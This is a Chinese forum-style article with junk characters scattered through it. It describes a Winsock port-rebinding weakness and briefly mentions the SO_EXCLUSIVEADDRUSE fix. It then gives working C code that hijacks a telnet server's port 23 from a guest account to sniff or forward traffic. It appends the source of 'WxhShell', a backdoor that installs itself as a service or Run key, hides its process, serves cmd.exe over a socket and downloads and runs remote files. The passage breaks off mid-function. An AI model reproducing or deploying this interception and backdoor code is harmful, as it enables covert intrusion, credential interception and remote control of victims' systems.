在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Cbq|<p# #o s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
mi>CHa+$ A
$GiO saddr.sin_family = AF_INET;
$&@etsW0/ "+BNas^rF saddr.sin_addr.s_addr = htonl(INADDR_ANY);
`SN?4;N0 B'U;i5u4' bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
l`'
lqnhv N =0R6{' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
_XP3|E;I/ |E7)s;}D 这意味着什么?意味着可以进行如下的攻击:
xtN=?WjVe0 ]ICBNJ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
n#fc=L1U %
QKlvmI" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
%CaUC' $mF(6<w 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
jaOt"iU.B eN?:3cP#l 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Fu/{*4 2TZ+R7B? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@?gN
&Z)I f[;l7 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
|#rP~Nj) /U1 jCLR' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
mm@)uV<\ gL-\@4\wc #include
puPYM" #include
j1hx{P' #include
Z"u|-RoBV #include
"p[FFg DWORD WINAPI ClientThread(LPVOID lpParam);
!~5=tK int main()
F87aIJ.pGN {
ZR|cZH1}C WORD wVersionRequested;
4[$D3,A DWORD ret;
&8^1:CcE WSADATA wsaData;
G"'[dL)N> BOOL val;
4\?GA`@ SOCKADDR_IN saddr;
?xgrr7 SOCKADDR_IN scaddr;
cYafQyU int err;
nRL2Z5iO- SOCKET s;
^9zFAY.| SOCKET sc;
"k%B;!We) int caddsize;
wzka4J { HANDLE mt;
/j`vN DWORD tid;
nP+]WUnY wVersionRequested = MAKEWORD( 2, 2 );
>FRJvZ6 err = WSAStartup( wVersionRequested, &wsaData );
0k7kmDW if ( err != 0 ) {
#FHyP1uyc printf("error!WSAStartup failed!\n");
+ mqz)-x return -1;
Wz^M*=, }
ZGHh!Ds; saddr.sin_family = AF_INET;
Fm3f/]>k#_ .bT|:Q~@{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
VIi/=mO] 5Tt%<#4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
OlV'#D
saddr.sin_port = htons(23);
ZvS|a~jO if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"
~X;u8m {
\1p_6U7 printf("error!socket failed!\n");
@A-^~LoP. return -1;
NIQX?|;b{ }
%N, P?
,U val = TRUE;
YVEin1] //SO_REUSEADDR选项就是可以实现端口重绑定的
<f'2dT@6 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
tl uyx {
mu!hD^fw printf("error!setsockopt failed!\n");
{m&8Viq1
return -1;
hR] AUH }
%j[DG_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
\AT]$`8@_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
VgSk\:t //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
DsY$ ^uy2qO4Yw if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ppBIl6 {
\"r*wae ret=GetLastError();
5G-}'-R printf("error!bind failed!\n");
_Q:739& return -1;
}#rdMh }
ARZ5r48)
listen(s,2);
-C7IUat< while(1)
l u^fKQ {
nn"Wn2ciS caddsize = sizeof(scaddr);
jmAQ!y|W. //接受连接请求
3gn)q>Xj$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
;bZIj`D( if(sc!=INVALID_SOCKET)
~[mAv#d&i {
CulU?-[i mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Pw"o[8 if(mt==NULL)
`xhiG9mz~ {
Au6*hv3: printf("Thread Creat Failed!\n");
_`bH$ break;
vlD!YNy }
G*;}6 bj|? }
~)zoIM \ CloseHandle(mt);
b Hr2LhQCN }
M=n_;3,o closesocket(s);
h9McC 3 WSACleanup();
C^hHt,& return 0;
pLFJ"3IJB }
l#FW#`f DWORD WINAPI ClientThread(LPVOID lpParam)
%r<c>sFJN {
#L{+V?
SOCKET ss = (SOCKET)lpParam;
wXc"Car) SOCKET sc;
+7jr ]kP9 unsigned char buf[4096];
fwojFS.K SOCKADDR_IN saddr;
M1MpR+7S long num;
4DVkycM DWORD val;
w>IYrSaa> DWORD ret;
Ufz& 2 //如果是隐藏端口应用的话,可以在此处加一些判断
8QeM6;^/5 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
S^GB\uJ saddr.sin_family = AF_INET;
.qyk [O saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
x9#>0
4s saddr.sin_port = htons(23);
AQ!FJ(X( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1@nGD<,. {
qzVmsxBNP printf("error!socket failed!\n");
y@;4F n/ return -1;
No)v&P% }
1Ftl1uf val = 100;
nb:J" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
zfE;)K^" {
.wrNRU7s ret = GetLastError();
3U&QonCV return -1;
:\@WY }
3z[yKua\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8c m,G {
`x"0 ret = GetLastError();
&z-f,`yG return -1;
H!Y`?Rc }
v/]Bo[a if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
BJ3st {
-{>Nrx| printf("error!socket connect failed!\n");
#&G^%1! closesocket(sc);
% Ke:%##Y closesocket(ss);
=|n NC return -1;
fW Vd[zuD4 }
K1Tq7/N while(1)
DJeP] {
m:<cLc :. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
"Hmo`E B0 //如果是嗅探内容的话,可以再此处进行内容分析和记录
OHzI!,2] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
,TD@s$2x num = recv(ss,buf,4096,0);
]Au78Yom if(num>0)
XljiK8q;% send(sc,buf,num,0);
vN%zk(?T else if(num==0)
WlVC0& break;
OGNjn9av num = recv(sc,buf,4096,0);
$|!VP'VI if(num>0)
\%9,<-~[ send(ss,buf,num,0);
8#S|jBV else if(num==0)
b1>%%# break;
5AR\'||u }
u0h {bu closesocket(ss);
([s}bD.9 closesocket(sc);
6OMywGI[Z return 0 ;
WO*YBH@ }
b/oJ[Vf 5tR<aIf wH[@#UP3l ==========================================================
MP?9k )f in -/ 下边附上一个代码,,WXhSHELL
DY?`Y%" NA[yT ==========================================================
J0w[vrs&] BCF-lrZ& #include "stdafx.h"
.@.,D% 7< fk`y}#7M #include <stdio.h>
W,YzD&f=uS #include <string.h>
k( 1rp|qf #include <windows.h>
`!5ZF@Q>e #include <winsock2.h>
UDV,c o #include <winsvc.h>
5KU}dw>*g #include <urlmon.h>
O'U0Y8HN -O3^q. #pragma comment (lib, "Ws2_32.lib")
qHg\n)R"x! #pragma comment (lib, "urlmon.lib")
WA~|:S+ ~my\{q #define MAX_USER 100 // 最大客户端连接数
E=GCq=Uw #define BUF_SOCK 200 // sock buffer
4(2}O-~ #define KEY_BUFF 255 // 输入 buffer
Zse3e _;$VH4(BI #define REBOOT 0 // 重启
^]^Y~$u #define SHUTDOWN 1 // 关机
c[?S}u|[' 2pH2s\r<UJ #define DEF_PORT 5000 // 监听端口
+wwpaR` GIsXv 2 #define REG_LEN 16 // 注册表键长度
8$-Wz:X& #define SVC_LEN 80 // NT服务名长度
md_aD F4>}mIA // 从dll定义API
wqyx{W`~w typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
%I;ej{*c typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
O[3J Px typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
yC4JYF]JN typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
S*?'y rPkV=9ull, // wxhshell配置信息
{%^q8l4j struct WSCFG {
37x2fnC int ws_port; // 监听端口
AF ZHS\ char ws_passstr[REG_LEN]; // 口令
J:)Q)MT24: int ws_autoins; // 安装标记, 1=yes 0=no
KQaw*T[Q3w char ws_regname[REG_LEN]; // 注册表键名
PDvqA{ char ws_svcname[REG_LEN]; // 服务名
6GMQgTY^ char ws_svcdisp[SVC_LEN]; // 服务显示名
xKEHNgen char ws_svcdesc[SVC_LEN]; // 服务描述信息
h&L+Qx char ws_passmsg[SVC_LEN]; // 密码输入提示信息
E {4/$} int ws_downexe; // 下载执行标记, 1=yes 0=no
kM*f9x char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
;"
'`P[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
7=u\D R0_%M };
GfD!Z3 BM&95p // default Wxhshell configuration
(ScL C struct WSCFG wscfg={DEF_PORT,
;S"^O
AM "xuhuanlingzhe",
\;I%>yOIu 1,
POfvs] "Wxhshell",
Cd#[b)d ?^ "Wxhshell",
)MHvuk:I) "WxhShell Service",
uXxyw7\W "Wrsky Windows CmdShell Service",
? Sj,HLo@U "Please Input Your Password: ",
#,Fk 1,
UMpC2)5 "
http://www.wrsky.com/wxhshell.exe",
M '$n".,p "Wxhshell.exe"
8k2prv^ };
A&~G ,m{Zn"?kS // 消息定义模块
!F/;WjHz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5Lo{\7% char *msg_ws_prompt="\n\r? for help\n\r#>";
fBR,Oneo char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
j5|PQOK char *msg_ws_ext="\n\rExit.";
gnlGL[r| char *msg_ws_end="\n\rQuit.";
pjvChl5 char *msg_ws_boot="\n\rReboot...";
4M*UVdJ; char *msg_ws_poff="\n\rShutdown...";
<QQgOaS`2 char *msg_ws_down="\n\rSave to ";
I?lQN$A.E ^j[>.D char *msg_ws_err="\n\rErr!";
U2$e?1y char *msg_ws_ok="\n\rOK!";
`S2YBKz,1 ,6~c0]/ char ExeFile[MAX_PATH];
|+mhYq|` int nUser = 0;
(zwxrOS HANDLE handles[MAX_USER];
e57}.pF^ int OsIsNt;
XG@_Lcv* rOm)s' SERVICE_STATUS serviceStatus;
Vx;f/CH3! SERVICE_STATUS_HANDLE hServiceStatusHandle;
:[#HP66[O5 "S(m1L? // 函数声明
@C0{m7q int Install(void);
'C]zB'H= int Uninstall(void);
{oy(08`6 int DownloadFile(char *sURL, SOCKET wsh);
|fYNkD8z1 int Boot(int flag);
?y>xC|kt void HideProc(void);
Mc>]ZAz r int GetOsVer(void);
O _yJR int Wxhshell(SOCKET wsl);
mhH[jO) void TalkWithClient(void *cs);
TW(rK& int CmdShell(SOCKET sock);
cR[)[9} int StartFromService(void);
4xk'R[v int StartWxhshell(LPSTR lpCmdLine);
YT+fOndjaF dB ?+-aE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
2P`hdg
VOID WINAPI NTServiceHandler( DWORD fdwControl );
1y$Bz?4 bmr.EB/ // 数据结构和表定义
^:5;H=. SERVICE_TABLE_ENTRY DispatchTable[] =
S)Sv4Qm {
~P
1(%FZ {wscfg.ws_svcname, NTServiceMain},
M\ vj&T{k {NULL, NULL}
[?r`8K2!, };
w6+X{ 51;V#@CsQ // 自我安装
|y)R lb#d int Install(void)
UpL?6) {
fLA!oeq{&} char svExeFile[MAX_PATH];
~b+4rYNxU_ HKEY key;
wQgW9546 strcpy(svExeFile,ExeFile);
N&K:Jp P6&@fwJ< // 如果是win9x系统,修改注册表设为自启动
9eo$Duws if(!OsIsNt) {
*>h"}e41 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U2\g
Kg[-Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>KH.~Jfy RegCloseKey(key);
%Ui&SZ\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
n"N!76 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Z@>hN%{d+g RegCloseKey(key);
JaoRkl?F return 0;
?wt%e; }
Uh'3c" }
\-a^8{.^E }
k(+EY% else {
TUHC[#Vb? v!27q*;8H // 如果是NT以上系统,安装为系统服务
2>p K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
*&9_+F8ly if (schSCManager!=0)
{P"$;_Y"< {
Y!c
RzQ SC_HANDLE schService = CreateService
I:CnOpR>A (
?
acm5dN schSCManager,
.Qm"iOyM wscfg.ws_svcname,
U+>!DtOYK wscfg.ws_svcdisp,
c?A(C#~
z SERVICE_ALL_ACCESS,
Fi vgOa SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
) (unL`y SERVICE_AUTO_START,
secD
`] SERVICE_ERROR_NORMAL,
xy)Y)yp svExeFile,
jq:FDyOAW NULL,
nd*9vxM NULL,
j&,,~AZm NULL,
bRT1~) NULL,
xpCzx=n3.m NULL
n[8ju,= );
!
7A _UA8 if (schService!=0)
2eo]D?} {
1DVu`<OXcH CloseServiceHandle(schService);
s kC* CloseServiceHandle(schSCManager);
(7^5jo[D strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
JJ`RF strcat(svExeFile,wscfg.ws_svcname);
KI)jP(( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
c]LE9<G RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
nt.A X RegCloseKey(key);
/.B7y( return 0;
rDFDrviW_ }
kDI(Y=Fg }
{:BAh5e| CloseServiceHandle(schSCManager);
Lf0Y|^!S_u }
Z-X(.Q }
>a/]8A (3a]#`Q return 1;
Pu/X_D-#Gi }
8g0By;h; VqGmZ|+8 // 自我卸载
tQ0iie1Ys int Uninstall(void)
s|B {
Y~z3fd HKEY key;
y"zgpqJ !SRElb A;i if(!OsIsNt) {
$>Md]/I8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
v0uDL7 RegDeleteValue(key,wscfg.ws_regname);
7^1yZ1( RegCloseKey(key);
\yt-_W=[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jZwv!-: RegDeleteValue(key,wscfg.ws_regname);
D>Ij RegCloseKey(key);
tg =ClZ- return 0;
;#-yyU }
pFE&`T@ < }
{l/j?1Dxq }
X*f#S:kiNU else {
,liFo.kT8% T%0vifoQ_$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Ja1[vO"YgP if (schSCManager!=0)
V9aGo# {
<X@XbM SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
D1w;cV7/d if (schService!=0)
0zJT_H+ {
NQBa+N if(DeleteService(schService)!=0) {
}E[u" @} CloseServiceHandle(schService);
+,oEcCi CloseServiceHandle(schSCManager);
X}"Ic@8 return 0;
^G:}%4 }
Y:o\qr!Y CloseServiceHandle(schService);
GD*rTtDWn }
p@B/S(Xi CloseServiceHandle(schSCManager);
3PRg/vD3 }
5:S=gARz }
^eF%4DUC; $y%X#:eLJ return 1;
ZiR },F/ }
)w.+( v( ~nQ= iB // 从指定url下载文件
g2?kC^=z= int DownloadFile(char *sURL, SOCKET wsh)
~!V5Ug_2 {
7Iz%Jty HRESULT hr;
LWH(bs9U char seps[]= "/";
|l \! char *token;
VkFvV><" char *file;
&Tc:WD char myURL[MAX_PATH];
R7'6#2y char myFILE[MAX_PATH];
rE->z ]o!rK< strcpy(myURL,sURL);
XK*55W&og token=strtok(myURL,seps);
o7:~C] while(token!=NULL)
=1|^) 4M,x {
F!k3/z file=token;
)Cas0~ RM token=strtok(NULL,seps);
B=ckRWq }
2OA0rH"v MWGs:tpL4 GetCurrentDirectory(MAX_PATH,myFILE);
3VI[*b strcat(myFILE, "\\");
9\dpJ\ strcat(myFILE, file);
i}tBB~] send(wsh,myFILE,strlen(myFILE),0);
EWb'#+BP send(wsh,"...",3,0);
E=*82Y=B hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
:.VI*X:aQh if(hr==S_OK)
|2L|Zp& return 0;
%>];F~z else
pA%}CmrMq return 1;
wo#,c( y
4
wV]1 }
lRk) .8GX8[t // 系统电源模块
(^{tu89ab int Boot(int flag)
k4C3SI*`4 {
bHKTCPf HANDLE hToken;
I>bO<T` TOKEN_PRIVILEGES tkp;
U}yq*$N =~D QX\ if(OsIsNt) {
o^efeI OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
MQ#nP_i LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
|#b]e|aP tkp.PrivilegeCount = 1;
?lPn{oB9" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
iJ&jg`"=F AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
p{vGc-zP. if(flag==REBOOT) {
SzTa[tJ+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
/g`!Zn8a return 0;
X7~^D[X }
i8h^~d2" else {
=#Z+WD-E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
s+-V^{Ht return 0;
0X<U.Sxn }
tH)fu%:p }
nb~592u else {
Dq~\U&U\$ if(flag==REBOOT) {
Bjp4:;Bb if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
"!B\c9q return 0;
n~Yr`5+Z }
%TeH#%[g>\ else {
2CF5qn}T if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
\zT{zO&! return 0;
~( ;HkT }
.
#FJM2Xk }
]:r(U5 # 1KadT7<0} return 1;
iBt<EM]U/ }
pV(qan, m##_U9O // win9x进程隐藏模块
pt%*Y.)az void HideProc(void)
CklIrD{ {
| Kq<}R DP.Y<V)B HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
2w;Cw~<=d if ( hKernel != NULL )
M#.dF{%% {
!DkIM}. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
m2\[L/W] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
&U_T1-UR2 FreeLibrary(hKernel);
m^o?{
(K }
Od+nBJ
NpH:5hi return;
GQ 0(lS }
f%/6kz 2t;3_C // 获取操作系统版本
"9#hk3*GqX int GetOsVer(void)
`Ip``I#A {
"#8I &xZK OSVERSIONINFO winfo;
xQ!
Va winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
ujLje:Yc GetVersionEx(&winfo);
6~O;t'd if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
;o?o92d return 1;
i8!err._ else
-XfGF<}r return 0;
c27Zh=;Tj }
0v|qP Ch)E:Dvq6 // 客户端句柄模块
^ f[^.k$3d int Wxhshell(SOCKET wsl)
QN;GMX5& {
m A('MS2 SOCKET wsh;
N}Or+:"O:q struct sockaddr_in client;
XO5E-Nh DWORD myID;
qga\icQr Ckhwd while(nUser<MAX_USER)
w{riXOjS4 {
+hcJ!$J7 int nSize=sizeof(client);
a1x].{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
\[
W`hhJ if(wsh==INVALID_SOCKET) return 1;
CdKs+x&tZ zVis"g` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ypNeTR$4 if(handles[nUser]==0)
Ky*xAx: closesocket(wsh);
H'I5LYsXO~ else
E)]emeGd nUser++;
x[R?hS,0t }
c^R "g)gr WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Uv(}x7e) }OSf C~5P return 0;
iZ0.rcQj'o }
#fFD|q z=4E#y`?U // 关闭 socket
&{8[I3#@ void CloseIt(SOCKET wsh)
OkphbAX {
\5b<!Nl closesocket(wsh);
OA7=kH@3c nUser--;
UJ`%uLR~ ExitThread(0);
#+^l3hMK }
G
}M! V3_qqz}`r // 客户端请求句柄
}dSFv
void TalkWithClient(void *cs)
17VNw/Y {
FWo`oJeN 4-\4G"4 SOCKET wsh=(SOCKET)cs;
Si|8xq$E; char pwd[SVC_LEN];
k,y#|bf,Y
char cmd[KEY_BUFF];
th=45y"C char chr[1];
R~bLEo int i,j;
ik0w\* "H{#ib_c_ while (nUser < MAX_USER) {
C|rl",& bL5dCQxty if(wscfg.ws_passstr) {
K$M,d-
`b if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
V{0 V/Nv //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
94XRf"^ //ZeroMemory(pwd,KEY_BUFF);
u[!Ex=9W i=0;
cr{dl\Na while(i<SVC_LEN) {
\)PS&Y8n :Czvwp{z // 设置超时
b*a}~1 fd_set FdRead;
)sapUnqrlR struct timeval TimeOut;
.gI9jRdKw FD_ZERO(&FdRead);
,-BZsZ0~ FD_SET(wsh,&FdRead);
||?wRMV TimeOut.tv_sec=8;
wD[qE TimeOut.tv_usec=0;
%;G!gJeE
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
3lNw*M|") if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
sQT,@'" ,@2d4eg4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
CY9`HQ1 pwd
=chr[0]; LZu_-I
if(chr[0]==0xd || chr[0]==0xa) { ZP%Bu2xd
pwd=0; D%.<}vG
break; II_MY#0X
} 2qkC{klC^M
i++; wmPpE_{
}
]cI(||x
fKT(.VNq5
// 如果是非法用户,关闭 socket k4nA+k<WI`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i@d@~M7/
} m;I;{+"u
5(OF~mX#
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Py,@or7n
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :hxZ2O?5_
LvS3c9|Aj
while(1) { DSHpM/7
8JAT2a61ur
ZeroMemory(cmd,KEY_BUFF); WJL,L[XC
+NEP*mk
// 自动支持客户端 telnet标准 k07) g:_
j=0; k
.l,>s`!
while(j<KEY_BUFF) { )+9D$m=P;
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UoxF00H@!
cmd[j]=chr[0]; f1>^kl3@P
if(chr[0]==0xa || chr[0]==0xd) { Qi7^z;
cmd[j]=0; }Mo9r4}
break; D 2Go,1
} BmUzsfD
j++; 3B"rI
} 49Ue2=PP#
@;,O V&XYn
// 下载文件 (A&@
<
if(strstr(cmd,"http://")) { (^Do#3
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ddHIP`wb
if(DownloadFile(cmd,wsh)) :7>Si%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2i(|? XJ^
else {Q(6
.0R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y!!+IeReS
} IL:"]`f*
else { W\<#`0tUt
:g9z^ $g
switch(cmd[0]) { Yhw* `"X
qryt1~Dq
// 帮助 Ft.BfgJ$
case '?': { ZJ[ Uz_%W
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #1bgV
break; 5!ReW39c;
} fF[ g%?w
// 安装 lIFU7g
case 'i': { )#ujF~w>
if(Install()) xf]4!zE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'qd")
else n
~3c<{coZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^&rbI,D
break; ;W*$<~_
} !3&vgvr
// 卸载 ? s ewU9*
case 'r': { N8{>M,
if(Uninstall()) U; q)01
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
#129 i2
else 4 z`5W,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (_08?cN
break; TnaIRJ\B
} P%lLKSA
// 显示 wxhshell 所在路径 5UM[Iz
case 'p': { n|*V
8VaL
char svExeFile[MAX_PATH]; mDmWTq\
strcpy(svExeFile,"\n\r"); &4[iC/}
strcat(svExeFile,ExeFile); sq^"bLw
send(wsh,svExeFile,strlen(svExeFile),0); (os7Q?
break; ;i#gk%-
2
} rh
l5r"%
// 重启 Vi|jkyC8
case 'b': { 4>E2G:
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fytx({I
.a
if(Boot(REBOOT)) D{l((t3=T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T7Ac4LA
else { L' pZ
closesocket(wsh); Vwqfn4sx?i
ExitThread(0);
rh_({rvQ
} <<1oc{i
break; .-ABo]hf
} HKkf+)%)x
// 关机 N
[u
Xo
case 'd': { Nw2 bn
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lBdF9F<
if(Boot(SHUTDOWN)) K0g:Q*J-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,H?p9L; qp
else { F%d"gF0qu
closesocket(wsh); 4Dia#1$:J
ExitThread(0); v^pP&
<G
} QA(,K}z~^S
break; &3f.78a
} PpRO7(<cD
// 获取shell pQ Y>
case 's': { wVOL7vh
CmdShell(wsh); .[fz x`
closesocket(wsh); eNFUjDm
ExitThread(0); sJ/e=1*
break; '5U$`Xe1
} z)>{O3
// 退出 '[8b0\
case 'x': { h$k3MhYDes
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *"\Q ~#W
CloseIt(wsh); 61/zrMPn
break; {UBQ?7.jE
} ek)(pJ(+#
// 离开 J\'5CG
case 'q': { i_Z5SMZ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \cP'#jZz
closesocket(wsh); S\5k'ifh
WSACleanup(); znO00qX
exit(1); &;U7/?Q
break; i q:Q$z&
} Te}yQ= +
} ~x"79=!W
} M%s$F@
7$W;4!BN*
// 提示信息 bV*zMoD#
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x,gE$dNzy
} t=rAcyNM
} JlQT5k
,l .U^d6>
return; rDX'oP:
} `L#?eQ{
;nKHm
// shell模块句柄 i: M*L< +
int CmdShell(SOCKET sock) Ygi1"X}
{ -5v.1y=!L
STARTUPINFO si; -wQ^oOJ
ZeroMemory(&si,sizeof(si)); LDEW00zL
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qf`xH"$
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,i?!3oLT
PROCESS_INFORMATION ProcessInfo; E97+GJ3
char cmdline[]="cmd"; :LiDJF
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S?7V
"LF
return 0; `m3QT3B
} g~c|~u(W
w;@25=
|
// 自身启动模式 j8Q5d`
int StartFromService(void) (:-Jl"&R@
{ @" 0tW:
typedef struct W0MnGzZ
{ vk)0n=
DWORD ExitStatus; CQjZAv
